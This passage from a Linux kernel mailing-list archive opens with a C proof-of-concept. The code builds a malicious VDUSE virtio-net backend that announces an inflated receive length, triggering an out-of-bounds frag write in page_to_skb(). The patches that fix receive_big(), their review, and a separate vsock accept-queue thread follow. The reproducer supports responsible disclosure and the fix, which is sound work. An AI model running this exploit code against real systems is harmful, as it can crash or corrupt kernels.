#include <linux/virtio_config.h>
#include <linux/virtio_net.h>
#include <linux/virtio_ring.h>
#define DEV_NAME "vdusebug"
#define BIT(x) (1ULL << (x))
#define FEATURES (BIT(VIRTIO_F_VERSION_1) | BIT(VIRTIO_F_ACCESS_PLATFORM) | \
BIT(VIRTIO_NET_F_MAC) | BIT(VIRTIO_NET_F_GUEST_TSO4))
#define VQ_NUM 2
#define VQ_SIZE 256
#define die(s) do { perror(s); exit(1); } while (0)
/* ---- minimal generic-netlink: resolve vdpa family, then
VDPA_CMD_DEV_NEW ---- */
struct nlmsg {
struct nlmsghdr nh;
struct genlmsghdr gh;
char buf[1024];
};
static void nla_put(struct nlmsg *m, int type, const void *data, int len)
{
struct nlattr *a = (void *)((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len));
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
memcpy((char *)a + NLA_HDRLEN, data, len);
m->nh.nlmsg_len = NLMSG_ALIGN(m->nh.nlmsg_len) + NLA_ALIGN(NLA_HDRLEN + len);
}
static int nl_send(int sk, struct nlmsg *m, char *rsp, int rsplen)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = m, .iov_len = m->nh.nlmsg_len };
struct msghdr mh = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(sk, &mh, 0) < 0)
return -1;
return recv(sk, rsp, rsplen, 0);
}
static int vdpa_setup(int sk)
{
struct nlmsg m = {0};
char rsp[4096];
int n, famid = -1;
/* resolve VDPA genl family id */
m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(m.gh));
m.nh.nlmsg_type = GENL_ID_CTRL;
m.nh.nlmsg_flags = NLM_F_REQUEST;
m.gh.cmd = CTRL_CMD_GETFAMILY;
m.gh.version = 1;
nla_put(&m, CTRL_ATTR_FAMILY_NAME, VDPA_GENL_NAME, strlen(VDPA_GENL_NAME) + 1);
n = nl_send(sk, &m, rsp, sizeof(rsp));
for (struct nlmsghdr *nh = (void *)rsp; NLMSG_OK(nh, n); nh =
NLMSG_NEXT(nh, n)) {
struct nlattr *a = (void *)((char *)NLMSG_DATA(nh) +
NLMSG_ALIGN(sizeof(struct genlmsghdr)));
int rem = NLMSG_PAYLOAD(nh, sizeof(struct genlmsghdr));
while (rem >= (int)NLA_HDRLEN && a->nla_len >= NLA_HDRLEN && rem >=
a->nla_len) {
if (a->nla_type == CTRL_ATTR_FAMILY_ID)
famid = *(uint16_t *)((char *)a + NLA_HDRLEN);
rem -= NLA_ALIGN(a->nla_len);
a = (void *)((char *)a + NLA_ALIGN(a->nla_len));
}
}
if (famid < 0)
return -1;
/* VDPA_CMD_DEV_NEW name=DEV_NAME mgmtdev=vduse */
memset(&m, 0, sizeof(m));
m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(m.gh));
m.nh.nlmsg_type = famid;
m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
m.gh.cmd = VDPA_CMD_DEV_NEW;
m.gh.version = 1;
nla_put(&m, VDPA_ATTR_DEV_NAME, DEV_NAME, strlen(DEV_NAME) + 1);
nla_put(&m, VDPA_ATTR_MGMTDEV_DEV_NAME, "vduse", 6);
return nl_send(sk, &m, rsp, sizeof(rsp)) > 0 ? 0 : -1;
}
/* ---- VDUSE control message worker + IOTLB mapping ---- */
static volatile int g_driver_ok, g_running = 1;
static void *vduse_worker(void *arg)
{
int fd = (intptr_t)arg;
struct pollfd pfd = { .fd = fd, .events = POLLIN };
while (g_running) {
if (poll(&pfd, 1, 100) <= 0)
continue;
struct vduse_dev_request req = {0};
struct vduse_dev_response resp = {0};
if (read(fd, &req, sizeof(req)) < 0)
continue;
resp.request_id = req.request_id;
resp.result = VDUSE_REQ_RESULT_OK;
if (req.type == VDUSE_GET_VQ_STATE)
resp.vq_state.index = req.vq_state.index;
else if (req.type == VDUSE_SET_STATUS && (req.s.status &
VIRTIO_CONFIG_S_DRIVER_OK))
g_driver_ok = 1;
write(fd, &resp, sizeof(resp));
}
return NULL;
}
/* map one IOVA page into our address space, returning the VA for `iova` */
static void *iova_map(int fd, uint64_t iova, int prot)
{
struct vduse_iotlb_entry e = { .start = iova, .last = iova };
int mfd = ioctl(fd, VDUSE_IOTLB_GET_FD, &e);
if (mfd < 0)
return NULL;
void *p = mmap(0, e.last - e.start + 1, prot, MAP_SHARED, mfd, e.offset);
close(mfd);
if (p == MAP_FAILED)
return NULL;
return (char *)p + (iova - e.start);
}
/* ---- trigger ---- */
static void trigger(int fd)
{
struct vduse_vq_info info = { .index = 0 };
if (ioctl(fd, VDUSE_VQ_GET_INFO, &info) < 0 || !info.ready)
return;
uint32_t num = info.num;
struct vring_desc *desc = iova_map(fd, info.desc_addr, PROT_READ);
struct vring_avail *avail = iova_map(fd, info.driver_addr, PROT_READ);
struct vring_used *used = iova_map(fd, info.device_addr, PROT_READ |
PROT_WRITE);
if (!desc || !avail || !used || used->idx == avail->idx)
return;
/* the driver posted an RX chain; just hand it back an inflated len.
* 73708 is what add_recvbuf_big() advertised; 73728 = (17+1)*4096
* passes the loose check and overruns page_to_skb()'s frag loop. */
uint16_t head = avail->ring[used->idx % num];
used->ring[used->idx % num] = (struct vring_used_elem){ .id = head,
.len = (17 + 1) * 4096 };
__sync_synchronize();
used->idx++;
__sync_synchronize();
uint32_t qidx = 0;
ioctl(fd, VDUSE_VQ_INJECT_IRQ, &qidx);
}
/* bring up every virtio_net iface (the VDUSE one) so the driver fills RX */
static void ifaces_up(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
for (int i = 1; i < 16; i++) {
struct ifreq r = {0};
snprintf(r.ifr_name, IFNAMSIZ, "eth%d", i);
if (ioctl(s, SIOCGIFFLAGS, &r) < 0)
continue;
r.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &r);
}
close(s);
}
int main(void)
{
pthread_t th;
int ctrl = open("/dev/vduse/control", O_RDWR);
if (ctrl < 0)
die("/dev/vduse/control");
uint64_t apiv = 0;
ioctl(ctrl, VDUSE_SET_API_VERSION, &apiv);
struct {
struct vduse_dev_config cfg;
struct virtio_net_config net;
} c = {0};
uint8_t mac[6] = { 0x52, 0x54, 0, 0x12, 0x34, 0x56 };
memcpy(c.net.mac, mac, 6);
strncpy(c.cfg.name, DEV_NAME, VDUSE_NAME_MAX - 1);
c.cfg.device_id = VIRTIO_ID_NET;
c.cfg.features = FEATURES;
c.cfg.vq_num = VQ_NUM;
c.cfg.vq_align = 4096;
c.cfg.config_size = sizeof(struct virtio_net_config);
if (ioctl(ctrl, VDUSE_CREATE_DEV, &c) < 0)
die("VDUSE_CREATE_DEV");
int fd = open("/dev/vduse/" DEV_NAME, O_RDWR | O_NONBLOCK);
if (fd < 0)
die("open vduse dev");
for (uint32_t i = 0; i < VQ_NUM; i++) {
struct vduse_vq_config vc = { .index = i, .max_size = VQ_SIZE };
ioctl(fd, VDUSE_VQ_SETUP, &vc);
}
/* worker must run before we attach: the bus probe blocks on its replies */
pthread_create(&th, NULL, vduse_worker, (void *)(intptr_t)fd);
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
bind(sk, (void *)&sa, sizeof(sa));
if (vdpa_setup(sk) < 0)
die("vdpa setup");
for (int i = 0; i < 50 && !g_driver_ok; i++)
usleep(100000);
ifaces_up();
for (int i = 0; i < 30; i++)
usleep(100000);
for (int i = 0; i < 10; i++) {
trigger(fd);
usleep(200000);
}
g_running = 0;
pthread_join(th, NULL);
sleep(2);
return 0;
}
```
Let me know if you need more information.
Thanks,
Xiang
On Wed, Jun 10, 2026 at 3:16 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
>
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
> --
> 2.43.0
>
^ permalink raw reply
* Re: [PATCH net] virtio-net: fix len check in receive_big()
From: Xiang Mei @ 2026-06-10 22:43 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: jasowang, xuanzhuo, eperezma, andrew+netdev, davem, edumazet,
kuba, pabeni, netdev, virtualization, linux-kernel,
minhquangbui99, bestswngs
In-Reply-To: <20260610181911-mutt-send-email-mst@kernel.org>
Thanks for the quick reply. It comes faster than my reproduction email!
On Wed, Jun 10, 2026 at 3:22 PM Michael S. Tsirkin <mst@redhat.com> wrote:
>
> On Wed, Jun 10, 2026 at 03:16:06PM -0700, Xiang Mei wrote:
> > receive_big() bounds the device-announced length by
> > (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> > add_recvbuf_big() sets sg[1] to start at offset
> > sizeof(struct padded_vnet_hdr) into the first page, so the chain
> > actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> > big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> > check allows for the common hdr_len == 12 case.
> >
> > A malicious virtio backend can announce a len in that gap. page_to_skb()
> > then walks one frag past the page chain, storing a NULL page->private
> > into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> > write past the static frag array and a NULL frag handed up the rx path.
> > Bound len by the size add_recvbuf_big() actually advertised.
> >
> > Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
>
> Let's instead (or additionally?), bound the frags array index.
>
> Seems more robust.
Good call! I'll keep the length tightening in receive_big() and also
harden the page_to_skb() frag loop. So it can't index past
MAX_SKB_FRAGS or walk a NULL chain page, independent of what length
the caller validated. v2 will have both.
>
> > ---
> > drivers/net/virtio_net.c | 8 +++++---
> > 1 file changed, 5 insertions(+), 3 deletions(-)
> >
> > diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> > index f4adcfee7a80..afe73eda1491 100644
> > --- a/drivers/net/virtio_net.c
> > +++ b/drivers/net/virtio_net.c
> > @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> > struct virtnet_rq_stats *stats)
> > {
> > struct page *page = buf;
> > + unsigned long max_len;
> > struct sk_buff *skb;
> >
> > /* Make sure that len does not exceed the size allocated in
> > * add_recvbuf_big.
> > */
> > - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> > + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> > + vi->big_packets_num_skbfrags * PAGE_SIZE;
> > + if (unlikely(len > max_len)) {
> > pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> > - dev->name, len,
> > - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> > + dev->name, len, max_len);
> > goto err;
> > }
> >
> > --
> > 2.43.0
>
^ permalink raw reply
* Re: [PATCH net-next 1/2] vsock: fold sk_acceptq_added() into vsock_enqueue_accept()
From: Bobby Eshleman @ 2026-06-10 23:12 UTC (permalink / raw)
To: Raf Dickson
Cc: netdev, virtualization, pabeni, sgarzare, stefanha, bryan-bt.tan,
vishnu.dasa, bcm-kernel-feedback-list
In-Reply-To: <20260610091121.213324-2-rafdog35@gmail.com>
On Wed, Jun 10, 2026 at 09:11:20AM +0000, Raf Dickson wrote:
> All three transports (vmci, virtio, hyperv) call sk_acceptq_added()
> immediately before vsock_enqueue_accept(). Move the call into
> vsock_enqueue_accept() itself so callers cannot forget it and the
> accounting is always consistent.
>
> Suggested-by: Paolo Abeni <pabeni@redhat.com>
> Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
>
> Signed-off-by: Raf Dickson <rafdog35@gmail.com>
> ---
> net/vmw_vsock/af_vsock.c | 1 +
> net/vmw_vsock/hyperv_transport.c | 1 -
> net/vmw_vsock/virtio_transport_common.c | 1 -
> net/vmw_vsock/vmci_transport.c | 1 -
> 4 files changed, 1 insertion(+), 3 deletions(-)
>
> diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
> index 2ce1063d4a..73e6416ee9 100644
> --- a/net/vmw_vsock/af_vsock.c
> +++ b/net/vmw_vsock/af_vsock.c
> @@ -507,6 +507,7 @@ void vsock_enqueue_accept(struct sock *listener, struct sock *connected)
> sock_hold(connected);
> sock_hold(listener);
> list_add_tail(&vconnected->accept_queue, &vlistener->accept_queue);
> + sk_acceptq_added(listener);
> }
> EXPORT_SYMBOL_GPL(vsock_enqueue_accept);
>
> diff --git a/net/vmw_vsock/hyperv_transport.c b/net/vmw_vsock/hyperv_transport.c
> index b3394946b2..0de8148877 100644
> --- a/net/vmw_vsock/hyperv_transport.c
> +++ b/net/vmw_vsock/hyperv_transport.c
> @@ -410,7 +410,6 @@ static void hvs_open_connection(struct vmbus_channel *chan)
>
> if (conn_from_host) {
> new->sk_state = TCP_ESTABLISHED;
> - sk_acceptq_added(sk);
>
> hvs_new->vm_srv_id = *if_type;
> hvs_new->host_srv_id = *if_instance;
> diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
> index b10666937c..4a39d48db9 100644
> --- a/net/vmw_vsock/virtio_transport_common.c
> +++ b/net/vmw_vsock/virtio_transport_common.c
> @@ -1582,7 +1582,6 @@ virtio_transport_recv_listen(struct sock *sk, struct sk_buff *skb,
> return ret;
> }
>
> - sk_acceptq_added(sk);
> if (virtio_transport_space_update(child, skb))
> child->sk_write_space(child);
>
> diff --git a/net/vmw_vsock/vmci_transport.c b/net/vmw_vsock/vmci_transport.c
> index 91516488a7..4ce6660c11 100644
> --- a/net/vmw_vsock/vmci_transport.c
> +++ b/net/vmw_vsock/vmci_transport.c
> @@ -1109,7 +1109,6 @@ static int vmci_transport_recv_listen(struct sock *sk,
> }
>
> vsock_add_pending(sk, pending);
> - sk_acceptq_added(sk);
It looks like vmci might be an odd duck here, where sk_acceptq_added
actually pairs with vsock_add_pending(), instead of
vsock_enqueue_accept()...
For example, if the pending work timer below fires, vsock_pending_work()
will see vsock_is_pending() is true, and then hit sk_acceptq_removed()
and underflow the zero backlog counter?
Best,
Bobby
^ permalink raw reply
* [PATCH net v2 1/2] virtio-net: fix len check in receive_big()
From: Xiang Mei @ 2026-06-10 23:29 UTC (permalink / raw)
To: mst, jasowang, xuanzhuo, eperezma
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs,
Xiang Mei
receive_big() bounds the device-announced length by
(big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
add_recvbuf_big() sets sg[1] to start at offset
sizeof(struct padded_vnet_hdr) into the first page, so the chain
actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
check allows for the common hdr_len == 12 case.
A malicious virtio backend can announce a len in that gap. page_to_skb()
then walks one frag past the page chain, storing a NULL page->private
into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
write past the static frag array and a NULL frag handed up the rx path.
Bound len by the size add_recvbuf_big() actually advertised.
Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
v2: add 2/2 for robustness
drivers/net/virtio_net.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index f4adcfee7a80..afe73eda1491 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
struct virtnet_rq_stats *stats)
{
struct page *page = buf;
+ unsigned long max_len;
struct sk_buff *skb;
/* Make sure that len does not exceed the size allocated in
* add_recvbuf_big.
*/
- if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
+ max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
+ vi->big_packets_num_skbfrags * PAGE_SIZE;
+ if (unlikely(len > max_len)) {
pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
- dev->name, len,
- (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
+ dev->name, len, max_len);
goto err;
}
--
2.43.0
^ permalink raw reply related
* [PATCH net v2 2/2] virtio-net: harden page_to_skb() big-packet frag loop
From: Xiang Mei @ 2026-06-10 23:29 UTC (permalink / raw)
To: mst, jasowang, xuanzhuo, eperezma
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs,
Xiang Mei
In-Reply-To: <20260610232936.1176094-1-xmei5@asu.edu>
This is a robustness hardening patch. The slow-path frag loop in
page_to_skb() walks the page chain via page->private until the
device-reported len is consumed, implicitly trusting that len fits the
chain. It does not stop when the chain is exhausted (page becomes NULL
at the tail), nor when nr_frags reaches the end of the static
skb_shinfo()->frags[MAX_SKB_FRAGS] array.
Both bounds are needed: the chain length is big_packets_num_skbfrags + 1
pages, which for an MTU-driven configuration can be well below
MAX_SKB_FRAGS, so neither guard implies the other.
Make the loop self-defending so it no longer relies on the caller having
validated len: stop once the chain is exhausted, and never index past
MAX_SKB_FRAGS. No functional change for well-formed input.
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
v2: robustness patch
drivers/net/virtio_net.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index afe73eda1491..518c22fa1b68 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -906,8 +906,11 @@ static struct sk_buff *page_to_skb(struct virtnet_info *vi,
}
BUG_ON(offset >= PAGE_SIZE);
- while (len) {
+ while (len && page) {
unsigned int frag_size = min((unsigned)PAGE_SIZE - offset, len);
+
+ if (unlikely(skb_shinfo(skb)->nr_frags >= MAX_SKB_FRAGS))
+ break;
skb_add_rx_frag(skb, skb_shinfo(skb)->nr_frags, page, offset,
frag_size, truesize);
len -= frag_size;
--
2.43.0
^ permalink raw reply related
* Re: [PATCH net] virtio-net: fix len check in receive_big()
From: Xiang Mei @ 2026-06-10 23:35 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: jasowang, xuanzhuo, eperezma, andrew+netdev, davem, edumazet,
kuba, pabeni, netdev, virtualization, linux-kernel,
minhquangbui99, bestswngs
In-Reply-To: <20260610181911-mutt-send-email-mst@kernel.org>
On Wed, Jun 10, 2026 at 06:21:49PM -0400, Michael S. Tsirkin wrote:
> On Wed, Jun 10, 2026 at 03:16:06PM -0700, Xiang Mei wrote:
> > receive_big() bounds the device-announced length by
> > (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> > add_recvbuf_big() sets sg[1] to start at offset
> > sizeof(struct padded_vnet_hdr) into the first page, so the chain
> > actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> > big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> > check allows for the common hdr_len == 12 case.
> >
> > A malicious virtio backend can announce a len in that gap. page_to_skb()
> > then walks one frag past the page chain, storing a NULL page->private
> > into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> > write past the static frag array and a NULL frag handed up the rx path.
> > Bound len by the size add_recvbuf_big() actually advertised.
> >
> > Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
>
> Let's instead (or additionally?), bound the frags array index.
I went with "additionally" rather than "instead": 1/2 restores the
length invariant in receive_big(), and 2/2 makes the frag loop
self-defending so it no longer depends on the caller validating len.
I didn't find a case triggering the issue of 2/2 so I could not produce
a PoC that actually crashes the kernel through 2/2's path independently
of the 1/2 bug. With 1/2 applied, the over-long len is rejected before
the loop, so the guard is never exercised by a real trigger I could find.
So 2/2 is defense-in-depth rather than a demonstrated separate bug.
Please feel free to decide whether it's worth taking. A v2 was sent.
Thanks,
Xiang
>
> Seems more robust.
>
> > ---
> > drivers/net/virtio_net.c | 8 +++++---
> > 1 file changed, 5 insertions(+), 3 deletions(-)
> >
> > diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> > index f4adcfee7a80..afe73eda1491 100644
> > --- a/drivers/net/virtio_net.c
> > +++ b/drivers/net/virtio_net.c
> > @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> > struct virtnet_rq_stats *stats)
> > {
> > struct page *page = buf;
> > + unsigned long max_len;
> > struct sk_buff *skb;
> >
> > /* Make sure that len does not exceed the size allocated in
> > * add_recvbuf_big.
> > */
> > - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> > + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> > + vi->big_packets_num_skbfrags * PAGE_SIZE;
> > + if (unlikely(len > max_len)) {
> > pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> > - dev->name, len,
> > - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> > + dev->name, len, max_len);
> > goto err;
> > }
> >
> > --
> > 2.43.0
>
^ permalink raw reply
* Re: [PATCH net-next 1/2] vsock: fold sk_acceptq_added() into vsock_enqueue_accept()
From: Raf Dickson @ 2026-06-11 1:43 UTC (permalink / raw)
To: bobbyeshleman
Cc: netdev, virtualization, pabeni, sgarzare, stefanha, bryan-bt.tan,
vishnu.dasa, bcm-kernel-feedback-list
In-Reply-To: <ainvZQppoc7LfPRs@devvm29614.prn0.facebook.com>
On Wed, Jun 10, 2026 at 16:12:37 -0700, Bobby Eshleman wrote:
> It looks like vmci might be an odd duck here, where sk_acceptq_added
> actually pairs with vsock_add_pending(), instead of
> vsock_enqueue_accept()...
>
> For example, if the pending work timer below fires, vsock_pending_work()
> will see vsock_is_pending() is true, and then hit sk_acceptq_removed()
> and underflow the zero backlog counter?
You're right, thank you for catching that. In vmci sk_acceptq_added()
pairs with vsock_add_pending(), not vsock_enqueue_accept(), so moving
it would cause an underflow when the pending work timer fires without
a successful connection. Patch 2/2 is unaffected.
I'll send a v2 that keeps the vmci call site as-is and only folds
the virtio and hyperv sites into vsock_enqueue_accept().
Raf
^ permalink raw reply
* Re: [PATCH net v2 1/2] virtio-net: fix len check in receive_big()
From: Xuan Zhuo @ 2026-06-11 1:55 UTC (permalink / raw)
To: Xiang Mei
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs,
Xiang Mei, mst, jasowang, eperezma
In-Reply-To: <20260610232936.1176094-1-xmei5@asu.edu>
On Wed, 10 Jun 2026 16:29:35 -0700, Xiang Mei <xmei5@asu.edu> wrote:
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
>
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
Reviewed-by: Xuan Zhuo <xuanzhuo@linux.alibaba.com>
> ---
> v2: add 2/2 for robustness
>
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
> --
> 2.43.0
>
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox